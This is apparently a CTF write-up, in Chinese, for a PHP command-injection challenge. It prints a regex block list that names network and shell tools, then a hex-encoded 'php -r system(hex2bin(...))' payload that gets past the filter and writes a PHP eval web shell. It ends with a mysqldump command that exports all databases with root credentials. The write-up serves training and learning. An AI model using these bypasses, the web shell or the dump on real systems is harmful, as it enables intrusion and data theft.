Simple_php Writeup
原创2024年11月28日...大约 1 分钟
题目描述
小明在学习 CTF 的过程中遇到了一道 PHP 的题目,以他有限的水平做不出来,可以帮帮他吗?
观察源码,只要我们传进去的 cmd
不被正则匹配到,就可以执行系统命令。
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
发现 php
本身就没有被过滤
于是可以使用 php -r phpinfo();
函数来查看 PHP 的配置
但是在 phpinfo()
中没有发现关键信息,所以我们想办法构造一个命令来反弹 shell
echo "<?php @eval(\$_POST['shell']);?>" > h4yn3s.php
# to hex
# 6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206834796e33732e706870
cmd=php -r system(hex2bin(substr(a6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206834796e33732e706870,1)));
在根目录中没有发现 flag
,猜测在数据库当中,于是我们可以使用 mysqldump
来导出数据库
mysqldump -uroot -proot --all-databases | grep ctfshow
Powered by Waline v3.3.1